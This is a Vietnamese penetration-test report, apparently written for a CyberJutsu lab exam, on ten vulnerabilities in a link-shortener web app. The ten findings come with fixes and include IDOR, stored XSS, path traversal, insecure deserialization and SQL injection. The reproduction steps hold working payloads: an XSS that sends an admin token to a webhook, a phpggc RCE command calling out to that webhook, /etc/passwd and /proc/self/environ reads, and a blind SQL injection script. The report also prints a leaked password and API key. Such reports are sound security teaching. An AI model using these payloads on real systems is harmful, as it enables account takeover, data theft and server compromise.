# Le Van Truong-Report
# I. Tổng quan
## 1. Mục tiêu
Báo cáo nhằm liệt kê các lỗ hổng bảo mật và các vấn đề liên quan được
phát hiện của ứng dụng `CyberShortLink - Website rút gọn liên kết nhanh chóng`.
## 2. Đối tượng
Các mục tiêu kiểm thử bao gồm:
- `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech`
## 3. Phạm vi
Phạm vi kiểm thử bao gồm toàn bộ chức năng của ứng dụng **CyberShortLink** được triển khai trên đối tượng.
Quá trình kiểm thử được thực hiện trong môi trường **CyberJutsu Academy** cung cấp, không gây ảnh hưởng đến hệ thống thực tế. Phương pháp kiểm thử áp dụng là `Black-box`. Các công cụ và kỹ thuật kiểm thử tuân thủ quy định của bài kiểm tra, đảm bảo tính hợp pháp và an toàn. Ứng dụng không được gắn với phiên bản cụ thể nào trong quá trình kiểm thử.
## 4. Quy ước đặt mã lỗ hổng
Các lỗ hổng được phát hiện trong quá trình kiểm thử sẽ được đặt mã định
danh theo quy ước sau:
- **CBJS-\[Số thứ tự\]**: Lỗ hổng trên `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech`
Số thứ tự được đánh tăng dần theo thứ tự liên quan đến các lỗ hổng, dựa trên lộ trình khai thác thực tế.
## 5. Bảng tổng hợp các lỗ hổng
| # | Mã | Loại lỗ hổng | Method | Endpoint |
|----|--------------|---------------------------|--------|--------------------------------------------------------------------------|
| 1 | CBJS-01 | Source Code Disclosure | GET | `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/backup.zip` |
| 2 | CBJS-02 | IDOR | GET | `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech /api/links/{alias}/password` |
| 3 | CBJS-03 | Stored Cross-Site Scripting (XSS) | GET | `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/go/{alias}` |
| 4 | CBJS-04 | Path Traversal | GET | `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/api/admin/logs/{date}` |
| 5 | CBJS-05 | Insecure Deserialization | POST | `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/admin/configs/restore` |
| 6 | CBJS-06 | SQL Injection | GET | `https://cybershortlink-dc105f08.exam.cyberjutsu-lab. tech/api/links?search {search}` |
| 7 | CBJS-07 | Unnecessary Public API | GET | `http://128.199.197.160:3000/*` |
| 8 | CBJS-08 | Broken Access Control | GET | `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/admin/users/{userId}/links` |
| 9 | CBJS-09 | Stored Cross-Site Scripting (XSS) | GET | Trên nhiều Endpoint |
| 10 | CBJS-10 | RCE | POST | `http://128.199.197.160:3000/ api/v1/processUrl` |
> **Tổng số lỗ hổng: 10**
# II. Chi tiết các lỗ hổng bảo mật
## 1. CBJS-01: Full Source Code Exposure via Publicly Accessible backup.zip Archive
### Description and Impact
Tệp sao lưu backup.zip được lưu trữ công khai trên máy chủ. File này chứa toàn bộ mã nguồn ứng dụng web, bao gồm logic xử lý, cấu hình hệ thống và các endpoint ẩn. Kẻ tấn công có thể tải mã nguồn về để phân tích, khai thác lỗ hổng, và nguy hiểm hơn là các lỗ hổng dẫn đến RCE.
### Root Cause Analysis
File backup.zip chứa toàn bộ mã nguồn đã bị lưu trữ công khai trên máy chủ do thiếu kiểm soát truy cập và quy trình quản lý tệp sao lưu không phù hợp. Đây là một lỗi cấu hình(misconfiguration) trong khâu triển khai hoặc vận hành hệ thống, dẫn đến rò rỉ dữ liệu nhạy cảm.
### Step to reproduce
Đầu tiên, ta sử dụng công cụ `ffuf` với lệnh:
ffuf -u https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/FUZZ
-w fuzz-Bo0oM.txt
Quan sát kết quả ta thấy có endpoint ẩn là `backup.zip`.

Truy cập vào endpoint ta thấy trình duyệt tự động tải file `backup.zip` về.

Giải nén và mở file thì ta thấy ở đây có source code của 2 service.

Source code đầu tiên này có tên là `Internal Service Application`.

Kiểm tra file `.env` thì thấy source này có tên là `CyberShortLink`, đọc
thêm các file config `Route` ta có thể khẳng định được đây chính là source code của trang web `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech`.
### Recommendations
---
- Không nên lưu trữ file sao lưu, mã nguồn, hoặc bất kỳ dữ liệu nhạy cảm nào trên môi trường production.
- Áp dụng chính sách backup an toàn, trong đó sao lưu phải được lưu trữ ở khu vực riêng biệt, nên được mã hóa và giới hạn quyền truy cập.
### References
---
[ffuf - Fuzz Faster U Fool-Github](https://github.com/ffuf/ffuf)
[Wordlist](https://github.com/Bo0oM/fuzz.txt/blob/master/fuzz.txt)
## 2. CBJS-02: IDOR Vulnerability Enables Disclosure of Passwords for Any Shortened Link
### Description and Impact
API `/api/links/{alias}/password` không xác thực **chủ sở hữu** của **Link** dẫn đến việc có thể xem được **mật khẩu của bất kì Link nào đã rút gọn**, bao gồm cả **Link của user khác**.
### Root Cause Analysis
Quan sát file `LinkController.php` hàm `getLinkPassword` chỉ kiểm tra `alias` để lấy link, nhưng không kiểm tra quyền sở hữu của người dùng đối với link đó. Cụ thể, dev không xác minh xem link có thuộc về user đang đăng nhập hay không, dẫn đến lỗ hổng **IDOR**: bất kỳ user nào cũng có thể lấy được mật khẩu của link nếu biết `alias`.

### Step to reproduce
---
Đăng nhập với quyền `user`. Sau đó truy cập đến url `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/dashboard` và thực hiện tạo 1 link rút gọn theo các bước bên dưới.

Click button `Xem` trên url đã rút gọn.

Sử dụng Burpsuit xem request đã gửi đi.

Ta thực hiện gửi lại request này và thay đổi tham số `alias` trên path bằng các ứng dụng proxy(Burpsuit Repeater, Postman,..). Như hình dưới tôi đã chỉnh sửa alias sang `secret-things`-Link này thuộc về user `admin` và kết quả là đã lấy được `password`.
{"password":"1ba1d626963c02b463016a922aaa67bf"}

Thử nhập password đó vào link có alias là `secret-things`.

Kết quả là lấy được thông tin của link đó như hình bên dưới.

### Recommendations
---
Cần bổ sung kiểm tra quyền sở hữu trước khi trả về mật khẩu của link. Cụ thể, sau khi truy xuất link theo `alias`, cần kiểm tra link đó có thuộc về user đang đăng nhập hay không bằng cách thêm đoạn code sau vào đoạn code truy vấn:
``` php
->where('links.user_id', operator: $user->id)
```
### References
---
[What is
IDOR?](https://portswigger.net/web-security/access-control/idor)
[Testing for Insecure Direct Object References](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)
## 3. CBJS-03: Stored XSS at Endpoint `/go/{alias}`
### Description and Impact
Khi hiển thị nội dung ra trang web, ứng dụng **không thực hiện việc kiểm tra (validate) hoặc mã hóa (escape)** giá trị của biến mà kẻ tấn công có thể kiểm soát.
Điều này cho phép kẻ tấn công chèn mã JavaScript độc hại (Stored XSS). Khi người dùng truy cập link rút gọn, đoạn mã sẽ được thực thi, từ đó kẻ tấn công có thể **đánh cắp Authorization Token** và **chiếm quyền phiên đăng nhập** của người dùng.
### Root Cause Analysis
Quan sát file `safe-redirect.blade.php`, ứng dụng hiển thị nội dung biến `$pageDescription` trực tiếp trong DOM bằng cú pháp `{!! !!}` (Blade raw output), **không hề được escape**. Giá trị của biến này được lấy từ `content` của thẻ `<meta property="og:description">` tại URL đích (trang bị rút gọn).
Nếu trang đích chứa payload XSS trong thẻ `og:description`, thì nội dung đó sẽ được nhúng và thực thi ngay trong trang `/go/{alias}` mà không qua bất kỳ cơ chế lọc nào, dẫn đến lỗ hổng **Stored XSS**.

Quá trình lưu giá trị `description` khi tạo Link rút gọn cũng không có cơ chế validate nào.

### Step to reproduce
Đầu tiên cần tạo 1 file HTML có nội dung như sau:
``` html=
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS</title>
<meta property="og:description" content="<img src=x onerror="
alert(origin)">" />
</head>
<body>
<h1>XSS POC</h1>
</body>
</html>
```
Sau đó hosting file trên `localhost:5500`. Ở đây tôi dùng Extension
**Live Server** của **Visual Studio Code**.


Sau đó sử dụng `ngrok` để public website `local` ra ngoài internet. Nhìn vào màn hình `terminal` thấy `http://localhost:5500` được forward đến `https://a3f3-42-114-161-230.ngrok-free.app`

Truy cập vào `https://a3f3-42-114-161-230.ngrok-free.app/XSS_test.html` và thấy website `localhost:5500/XSS_test.html` đã được public ra ngoài internet.

Giờ ta thực hiện rút gọn URL này với app **CyberShortLink**.
**Lưu ý**: Không đặt `Mật khẩu` cho link rút gọn.

Sau khi rút gọn, truy cập vào link rút gọn vừa tạo `https://cbjs0.click/xss-poc`, sau đó trang web sẽ tự redirect sang `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/go/xss-poc`.
Sau khi redirect đến trang `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/go/xss-poc`.
Pop up `alert` xuất hiện và nội dung là `Origin` của trang web.

Kiểm tra source trang để chắc chắn `payload` được chèn vào như dự tính.

### Recommendations
---
- Không sử dụng cú pháp `{!! !!}` trong Blade để hiển thị các nội dung có thể bị người dùng kiểm soát.
- Thay vào đó, sử dụng cú pháp `{{ }}` để nội dung được tự động escape.
- Nếu thực sự cần hiển thị HTML, phải đảm bảo các dữ liệu đầu vào đã được kiểm tra chặt chẽ và chỉ cho phép các thẻ HTML an toàn (ví dụ: dùng thư viện `HTMLPurifier` hoặc `strip_tags` với whitelist).
- Không nên tin tưởng nội dung từ các trang bên ngoài (như thẻ `<meta property="og:description">`) mà không qua xử lý.
- Thêm cơ chế CSP (Content Security Policy) để giảm thiểu khả năng thực thi script độc hại nếu có XSS xảy ra.
### References
---
[What is \<meta\>?](https://www.w3schools.com/tags/tag_meta.asp)
[Download ngrok](https://ngrok.com/downloads/windows)
[Laravel Blade](https://laravel.com/docs/12.x/blade)
[CSP Config to prevent XSS](https://developer.mozilla.org/enUS/docs/Web/HTTP/Guides/CSP)
## 4. CBJS-04: Path Traversal Allows Attackers to Read Any File on the Server
### Description and Impact
Lỗi **Path Traversal** cho phép kẻ tấn công chỉnh sửa tham số đường dẫn (`date`) tại endpoint `/api/admin/logs/{date}` để truy cập dẫn đến việc có thể đọc **bất kỳ tập tin nào trên máy chủ**, bao gồm cả các tập tin nhạy cảm như: cấu hình, mật khẩu, log hệ thống,....
### Root Cause Analysis
Quan sát phần triển khai của endpoint `/api/admin/logs/{date}`, ta có thể thấy nó đang gọi đến 1 API internal có endpoint là `/api/logs/read?date={$date}`.

Sau khi tìm kiếm trong file `backup.zip` thì phát hiện ra trong source của `Internal Service Application` cũng có endpoint này -> có thể đây chính là source của `$internalUrl` được nhắc đến trong đoạn code trên.
Kiểm tra phần triển khai của endpoint `/api/logs/read?date={$date}`. Ở đây developer đang dùng hàm `path.join(__dirname, "../logs", date);`(dòng 202) để ghép tên file từ tham số `date` vào trực tiếp `__dirname` mà không có bất kì biện pháp **Validate** nào, sau đó dùng hàm `fs.readFileSync(logFileName, "utf8");`(dòng 203) để đọc file.
Điều này dẫn đến việc có thể đọc được file bất kì trong hệ thống thông qua tham số `date`.

### Step to reproduce
Kiểm tra cấu hình route của endpoint `/api/admin/logs/{date}` ta thấy ở đây dùng `middleware['auth:sanctum']` để xác thực và phải là quyền `admin` thì mới có thể access.

Vậy nên ta sẽ tận dụng lỗi `Stored XSS` để lấy **Authorization Token** của user **Admin**.
Đoạn payload tôi sử dụng để lấy `token`:
```
...
<meta property="og:description" content="<img src=x onerror="
fetch('https://webhook.site/bbaeecb1-ae52-4a4c-b53d-b51f979e425b?
token='+localStorage.getItem('access_token'));">" >
...
```
Sau khi **Admin** click vào đường link có chứa mã độc, `token` của Admin sẽ được gửi về **Webhook**

Sử dụng `token` đó để gọi đến `api` endpoint `/api/admin/logs/{date}` thông qua **Burpsuite Repeater**, ở đây ta sẽ thực hiện đọc file `/etc/passwd` trên server.
Và bởi vì là tham số `date` được gọi thông qua API nội bộ nữa nên sẽ phải `HTML Encode` 2 lần.

### Recommendations
---
- Kiểm tra và làm sạch dữ liệu đầu vào được sử dụng để truy cập tập tin.
- Từ chối các chuỗi có chứa ../, ..\\ hoặc các ký tự cho phép truy xuất ra ngoài thư mục gốc.
- Áp dụng danh sách cho phép (whitelist) với định dạng tập tin hợp lệ, ví dụ: chỉ cho phép định dạng ngày kiểu DDMMYYYY.
- Đảm bảo rằng đường dẫn đầu vào được giới hạn trong một thư mục nhất định bằng cách sử dụng các hàm như `path.resolve() (Node.js)` để kiểm tra xem tập tin có nằm trong thư mục cho phép hay không.
### References
---
[What is Path traversal?](https://portswigger.net/web-security/file-path-traversal)
[How to prevent Path traversal?](https://www.pullrequest.com/blog/preventing-directory-traversal-attacks-techniques-and-tips-for-secure-file-access/)
## 5. CBJS-05: Insecure Deserialization Vulnerability in Admin Restore Config With Laravel v10.31.0
### Description and Impact
Lỗ hổng này xảy trong chức năng `Restore` của `Admin Panel` tại endpoint `/admin/configs/restore`, chức năng này xử lý tệp sao lưu mà không thực hiện kiểm tra an toàn trên nội dung.
Việc xử lý dữ liệu đầu mà không kiểm tra tính toàn vẹn dẫn đến khả năng thực thi mã từ xa (RCE) nếu có thư viện chứa `Gadget Chain` độc hại được cài đặt trên hệ thống. Kẻ tấn công có thể giành quyền kiểm soát máy chủ nếu khai thác thành công.
### Root Cause Analysis
Khi xử lí endpoint `POST` `/admin/configs/restore`, hàm `restoreConfigs()` trong file `AdminController.php` cho phép người dùng tải lên tệp tin `.sav` hoặc `.txt`, sau đó sử dụng `base64_decode()` kết hợp với `unserialize()` mà không kiểm tra kiểu dữ liệu đầu vào.

Mà hệ thống lại đang sử dụng thư viện `Laravel v10.31.0` có chứa `Gadget Chain` đã được công bố. Nên là có thể sử dụng `Gadget Chain` payload để thực thi mã từ xa(RCE).
**Lavarel v10.31.0**

### Step to reproduce
Đầu tiên, cần tạo payload `Gadget Chain` phù hợp với `Laravel v10.31.0`.
Ở đây ta sử dụng tool `phpggc` để tạo payload.
Ta chạy lệnh:
./phpggc Laravel/RCE17 system "curl -X POST https://webhook.site/bbaeecb1-ae52-
4a4c-b53d-b51f979e425b -d 'test=RCE'" | base64 -w0 > ggc_lavarel.sav
Lệnh này là để tạo payload, encode thành `base64` và export ra file `.sav` cho phù hợp với logic của hàm `restoreConfigs()`.
Ở payload trên ta muốn server thực hiện lệnh `curl` tạo 1 request `POST` với `body` là `test=RCE` tới địa chỉ `Webhook` của ta.
Đăng nhập với tài khoản có role `admin`

Thực hiện upload file `.sav` từ bước trước lên server.

Kiểm tra dashboard của `Webhook`, ta thấy có request `POST` với `body` là `test=RCE`. Vậy là ta đã có thể thực hiện thực thi mã từ xa trên server đích.

### Recommendations
---
- Kiểm tra dữ liệu đầu vào trước khi thực hiện `unserialize()`.
- Liên tục **update** các thư viện đã bị **outdated** hoặc gỡ các thư viện có `Vulnerability` công khai nhưng chưa được `fix`.
### References
---
[Download tool phpggc](https://github.com/ambionics/phpggc)
## 6. CBJS-06: SQL Injection in Link Search Function
### Description and Impact
Lỗ hổng **SQL Injection** nằm ở chức năng `Search` các Link đã rút gọn, dẫn đến việc kẻ tấn công có thể đọc được hết các dữ liệu trong database.
### Root Cause Analysis
Khi sử dụng chức năng `Search` sẽ gọi đến endpoint `api/links?search={search}`, endpoint này được xử lí tại hàm `getOrSearchLink()` trong file `LinkController.php`.
Nguyên nhân chính nằm ở việc server xử lí tham số `search` khi thực hiện câu query mà không có bất kì biện pháp `validate` hay `escape` nào.
Dẫn đến việc kẻ tấn công có thể truyền vào 1 đoạn `SQL nguy hiểm` và server thực thi cả đoạn `SQL` mà kẻ tấn công truyền vào.

### Step to reproduce
Để tái hiện lại lỗ hổng ta phải xác định được bối cảnh của lỗ hổng.
Nếu theo như đoạn code trong file `LinkController.php` thì thực thế câu query khi được thực hiện sẽ như thế này:
SELECT ... From links WHERE links.url LIKE '%{$search}%'
Vậy nên khi thực hiện request với param như bên dưới thì sẽ luôn đúng, và trả về tất cả các giá trị có trong bảng.
GET /api/links?search='+AND+1='1
Câu query sẽ là:
SELECT ... From links WHERE links.url LIKE '%'+AND+1='1%'
Như vậy là câu query hợp lệ và trả về tất cả các link rút gọn của user đó.

Tiếp theo ta thử với Payload sau:
GET /api/links?search='+AND+2='1
Câu query sẽ là:
SELECT ... From links WHERE links.url LIKE '%'+AND+2='1%'
Theo logic thì câu này sẽ không trả về record nào cả vì `2='1%'` luôn trả về `false` dẫn đến điều kiện `WHERE` luôn luôn `false` .

Và kết quả là không có record nào, vậy nên ở đây ta có thể dùng cách khai thác `SQL Injection: Boolean Based`.
Tiếp đến ta viết 1 đoạn script Python để tự động detect được `version` của database dựa trên `Boolean Based`.

Với đoạn script trên ta đã detect được database có `version=8.0.42`.
Dưới đây là đoạn script Python:
```python=
import requests
import urllib3
import time
def binary_search_character(position):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url="https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech"
endpoint="/api/links"
base_url=url+endpoint
cookies = {
"XSRF-TOKEN": "Thay giá trị",
"cybershortlink_session": "Thay giá trị"
}
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json",
"Authorization": "Thay giá tị bearer token"
}
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
left = 32 # ASCII start
right = 126 # ASCII end
while left <= right:
mid = (left + right) // 2
# Construct the SQL injection payload
payload = "'+AND+IF((ORD(substr((SELECT+VERSION()),"
url = f"{base_url}?search={payload}{position},1)))>{mid},1,2)='1"
try:
response = requests.get(url, headers=headers,
cookies=cookies,
verify=False)
# Handle rate limiting and server errors
while response.status_code in [502, 429]:
time.sleep(1) # Wait before retrying
response = requests.get(url, headers=headers,
cookies=cookies,
verify=False)
# Check if the character is greater than mid
if '7fc3b0e2' in response.text:
left = mid + 1
else:
right = mid - 1
except Exception as e:
print(f"Error: {str(e)}")
time.sleep(1)
continue
return chr(left)
def main():
print("Starting SQL injection with binary search...")
flag = ""
position = 1 # Start from position 10
while True:
try:
char = binary_search_character(position)
if not char:
break
flag += char
print(f"Database version: {flag}")
position += 1
except KeyboardInterrupt:
print("\nExiting...")
break
except Exception as e:
print(f"Error: {str(e)}")
break
if __name__ == "__main__":
main()
```
**Lưu ý:**
Khi chạy script, hãy thay đổi các giá trị sau:
- Ở dòng 36 cần thay đổi giá trị `7fc3b0e2` thành bất cứ chuỗi nào có trong `body` khi call đến API `GET /api/links?search='+AND+1='1` .
- Thay đổi giá trị `XSRF-TOKEN`, `cybershortlink_session`, `Authorization` bằng các giá trị của bạn ở dòng `9`,`10`,`15`.
### Recommendations
---
- Thay `whereRaw()` bằng `where()` sử dụng `binding` để Laravel tự động escape giá trị đầu vào:
```php=
...
if (!empty($search)) {
$links->where('links.url', 'LIKE', '%' . $search . '%');
}
...
```
- Nếu trường hợp bắt buộc phải dùng `whereRaw()` thì nên có biện pháp kiểm tra giá trị đầu vào.
### References
---
[SQL Injection Documents](https://www.acunetix.com/websitesecurity/sql-injection2/)
## 7. CBJS-07: Unnecessary Public API Exposure
### Description and Impact
Ứng dụng có một API công khai không cần thiết tại địa chỉ http://128.199.197.160:3000/\*. Endpoint này cho phép bất kỳ ai trên Internet truy cập mà không cần xác thực hoặc kiểm soát quyền truy cập. Việc để lộ các API công khai không cần thiết có thể tạo điều kiện cho kẻ tấn công thu thập thông tin, dò quét, hoặc khai thác các chức năng không mong muốn của hệ thống, từ đó làm tăng nguy cơ bị tấn công.
### Root Cause Analysis
Nguyên nhân xuất phát từ việc triển khai hoặc cấu hình hệ thống chưa hợp lý, dẫn đến việc mở cổng dịch vụ hoặc API ra ngoài Internet mà không có biện pháp kiểm soát truy cập. Điều này thường xảy ra khi các dịch vụ nội bộ (internal service) hoặc API thử nghiệm (test API) không được giới hạn truy cập chỉ trong mạng nội bộ hoặc qua VPN.
### Step to reproduce
Trước tiên ta cần lấy ra được địa chỉ IP của website `https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech`.
Ta sử dụng tool `nslookup` để lấy ra được `ip` là `128.199.197.160`. Câu lệnh:
nslookup cybershortlink-dc105f08.exam.cyberjutsu-lab.tech

Tiếp theo dùng tool `nmap` để tìm những service đang public trên server. Câu lệnh:
nmap 128.199.197.160
Dựa trên kết quả ta thấy `ip` đang public thêm 1 service ở `port:3000`

Truy cập vào `128.199.197.160:3000` thì thấy đây là 1 service nội bộ.

### Recommendations
---
- Hạn chế truy cập các API/dịch vụ nội bộ chỉ trong mạng nội bộ hoặc qua VPN.
Thiết lập firewall để chặn các truy cập từ bên ngoài Internet đến các dịch vụ không cần thiết.
- Thường xuyên rà soát, kiểm tra các cổng dịch vụ và API đang mở trên hệ thống.
- Gỡ bỏ hoặc vô hiệu hóa các API, dịch vụ không sử dụng hoặc không cần thiết.
- Áp dụng xác thực và phân quyền truy cập cho tất cả các API, kể cả các API nội bộ.
### References
[OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
[How to Secure Public APIs](https://www.akamai.com/blog/security/securing-public-apis)
## 8. CBJS-08: Broken Access Control at Endpoint /admin/users/{userId}/links
### Description and Impact
Endpoint `/admin/users/{userId}/links` cho phép truy cập danh sách các link của bất kỳ người dùng nào chỉ bằng cách thay đổi giá trị `userId` trên URL, mà không kiểm tra quyền truy cập của người dùng hiện tại.
Điều này dẫn đến việc người dùng không có quyền `admin` có thể truy cập, xem dữ liệu của các user khác, gây rò rỉ thông tin cá nhân và vi phạm nguyên tắc bảo mật phân quyền.
### Root Cause Analysis
Nguyên nhân chính là do hệ thống kiểm tra không đầy đủ quyền truy cập của người dùng đối với tài nguyên được yêu cầu.
Cụ thể, khi truy cập endpoint `/api/admin/users/{userId}/links`, ứng dụng chỉ dựa vào tham số userId trên URL mà không xác thực xem người dùng hiện tại có thực sự là `admin` hoặc có quyền truy cập vào thông tin của user đó hay không.
Quan sát file `route` ta thấy `Route::get('/admin/users/{userId}/links', [AdminController::class, 'getLinksByUser']);` thiếu mất config `middleware('admin')`. Dẫn đến user chỉ cần xác thực là có thể truy cập `api` này.

### Step to reproduce
Đăng nhập vào hệ thống với tài khoản người dùng thông thường (không phải `admin`).

Ta sẽ sử dụng `token` của account có `id=2`

Truy cập endpoint:
https://cybershortlink-dc105f08.exam.cyberjutsu-lab.tech/api/admin
/users/{userId}/links
với `{userId}` là ID của một user khác.
Ở đây ta sẽ truy cập và lấy ra tất cả link rút gọn của user có `id=1`.

Quan sát thấy có thể xem được danh sách link của user khác mà không bị chặn hoặc báo lỗi phân quyền.
### Recommendations
---
- Sử dụng middleware kiểm tra quyền truy cập cho endpoint trên bằng cách thêm đoạn code này:
```php=
Route::get('/admin/users/{userId}/links', [AdminController::class,
'getLinksByUser'])->middleware('admin');
```
### References
---
[OWASP Top 10: Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
[Insecure Direct Object Reference (IDOR)](https://portswigger.net/web-security/access-control/idor)
## 9. CBJS-09: Stored Cross-Site Scripting (XSS) At Admin Function And Dashboard
### Description and Impact
Lỗ hổng Stored XSS xuất hiện khi dữ liệu do người dùng nhập vào (ví dụ: `name`, `alias`, `URL`, v.v.) được hiển thị trực tiếp, hoặc gán trực tiếp vào `attribute` của tag trên trang của các chức năng Admin mà không được kiểm tra hoặc mã hóa (escape) đúng cách.
Kẻ tấn công có thể chèn mã `JavaScript` độc hại vào các trường này. Khi `admin` truy cập trang `Dashboard` (cho cả 2 role `user` và `admin`), `Admin Panel`, `Top`, `Logs`, đoạn mã độc sẽ được thực thi trong trình duyệt của họ, dẫn đến nguy cơ đánh cắp `session`, `token`, thực hiện các hành động thay mặt nạn nhân hoặc chiếm quyền điều khiển tài khoản quản trị.
Ở trang `Dashboard` hiện tại chưa có impact gì nhưng về sau nếu phát triển thêm chức năng vẫn sẽ có nguy cơ xuất hiện impact.
### Root Cause Analysis
Nguyên nhân là do các giá trị như `user.name`, `link.url`... được render trực tiếp vào `HTML` thông qua template mà không sử dụng các hàm escape an toàn. Nếu dữ liệu này chứa mã `JavaScript` hoặc HTML độc hại, nó sẽ được trình duyệt thực thi khi trang được tải.
Dưới đây là các file và các vị trí bị `Stored XSS`, ta cũng sẽ đánh dấu `XSS-Số thự tự lỗi` để thuận tiện cho việc **Step to reproduce**:
**FILE: admin/index.blade.php**
**XSS-01**: Khi in ra `name`

**XSS-02**: Khi in ra `URL`

**FILE: admin/top.blade.php**
**XSS-03**: Khi in ra `URL`

**XSS-04**: Khi in ra `name`

**FILE: admin/logs.blade.php**
**XSS-05**: Khi in ra `URL`

**XSS-06**: Khi in ra `title`

**FILE: /dashboard.blade.php**
**XSS-07**: Khi in ra `URL`

### Step to reproduce
Đối với các lỗi bị ở tham số `URL` **(XSS-07, XSS-05, XSS-03, XSS-02)**
Khi tạo link rút gọn ta sẽ sử dụng payload sau:
https://example.com/"><img src=x onerror=alert(origin)>

Kết quả:
**Trang Dashboard**:

**Admin Panel**
Click `View Links` trên `user` của bạn

**Top**

**Logs**
Click `View Details` của record `Date = ngày hiện tại`

Tiếp đến: Đối với các lỗi ở tham số `name`
Ta tiến hành đăng ký với `name` như payload bên dưới:
<img src=x onerror=alert(origin)>

Kết quả:
**Admin Panel**

**Top**
Tạo thêm nhiều link rút gọn để vào top

Tiếp đến: Đối với lỗi ở tham số `Title`
Các bước thực hiện giống với ở lỗi **CBJS-03** nhưng ta chèn payload ở trong thẻ `title` như bên dưới.
```html=
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><img src="x" onerror="alert('XSS from title')"></title>
<meta property="og:description" content="">
</head>
<body>
</body>
</html>
```
Truy cập vào **Logs** và kết quả:

### Recommendations
---
- Luôn escape (mã hóa) dữ liệu đầu ra khi render vào HTML, đặc biệt là các trường do người dùng nhập vào.
- Sử dụng các hàm escape an toàn của framework (ví dụ: textContent thay vì innerHTML trong JavaScript, hoặc {{ }} thay vì {!! !!} trong Blade).
- Kiểm tra, validate và lọc dữ liệu đầu vào để chỉ cho phép các ký tự hợp lệ.
Áp dụng Content Security Policy (CSP) để giảm thiểu tác động nếu XSS xảy ra.
### References
---
[OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
[MDN: innerHTML Security Risks
](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations)
## 10. CBJS-10: Remote Code Execution via Unused Internal API Endpoint
### Description and Impact
Từ lỗ hổng **CBJS-04**, kẻ tấn công có thể đọc được `/proc/self/environ` từ đây để lộ ra nhiều thông tin nhạy cảm trong đó có INTERNAL_SERVICE_API_KEY.
Mà hệ thống nội bộ hiện tại đang public ra ngoài internet.
Từ đó kẻ tấn công có thể tấn công RCE thông qua việc gọi đến các api trên hệ thống nội bộ.
### Root Cause Analysis
Qua quá trình kiểm tra source code của `Internal Service Application`
Ta phát hiện ra có 1 api `/v1/processUrl` đã không còn được sử dụng nhưng vẫn còn có trong source code.

Kiểm tra phần triển khai của hàm thì thấy có đoạn code sau không validate tham số `url` trong `body` và cộng chuỗi trực tiếp vào biến `curlCommand`, sau đó dùng biến này để thực hiện câu lệnh Command thông qua hàm `execSync(curlCommand).toString()`

### Step to reproduce
Từ lỗ hổng **CBJS-04**, ta tiến hành đọc file **/proc/self/environ**

Giá trị `Secret_Key` là:
a72358c930f77893ec2a3ac62ddf253a
Vì `Internal Service` này đang public ra ngoài internet nên ta có thể call trực tiếp từ BurpSuit hoặc dùng tool `curl`.

Sau khi call trực tiếp qua `BurpSuite Repeater` thì ta thấy api này vẫn còn đang hoạt động.
Nhưng vì đang chưa có được cấu trúc của `body` nên ta chưa thể tái hiện được `Vulnerability` này.
### Recommendations
---
- Nếu endpoint đã có version mới thì endpoint cũ nên xóa khỏi production, nếu không kẻ tấn công có thể tận dụng để thực hiện RCE.
- Những api `Internal` thì nên có biện pháp tránh public ra ngoài internet.
### References
---
[What is RCE?](https://www.cloudflare.com/learning/security/what-is-remote-code-execution)
# III. Kết Luận
Quá trình kiểm thử bảo mật đối với ứng dụng **CyberShortLink** đã phát hiện ra nhiều lỗ hổng nghiêm trọng, bao gồm: lộ mã nguồn, kiểm soát truy cập không chặt chẽ, lỗ hổng XSS, SQL Injection, Path Traversal, Insecure Deserialization, và các vấn đề về API công khai không cần thiết. Những lỗ hổng này có thể bị khai thác để truy cập trái phép, đánh cắp dữ liệu, chiếm quyền điều khiển tài khoản, hoặc thực thi mã độc trên hệ thống.
Các lỗ hổng chủ yếu xuất phát từ việc thiếu kiểm tra, xác thực và mã hóa dữ liệu đầu vào/đầu ra, cũng như cấu hình hệ thống chưa hợp lý. Điều này cho thấy ứng dụng cần được rà soát lại toàn bộ quy trình phát triển, kiểm thử và triển khai, đặc biệt là các cơ chế bảo mật ở cả phía client và server.
**Khuyến nghị:**
- Ưu tiên khắc phục các lỗ hổng nghiêm trọng như lộ mã nguồn, SQL Injection, XSS, và Broken Access Control.
- Áp dụng các biện pháp kiểm tra, xác thực, phân quyền chặt chẽ cho tất cả các chức năng và API.
- Thường xuyên kiểm thử bảo mật định kỳ, cập nhật các thư viện/phần mềm lên phiên bản mới nhất và tuân thủ các tiêu chuẩn bảo mật của OWASP.
Việc phát hiện và xử lý kịp thời các lỗ hổng sẽ giúp nâng cao mức độ an toàn, bảo vệ dữ liệu người dùng và uy tín của hệ thống. Đội ngũ phát triển cần phối hợp chặt chẽ với bộ phận kiểm thử bảo mật để đảm bảo ứng dụng luôn ở trạng thái an toàn trước các mối đe dọa ngày càng tinh vi.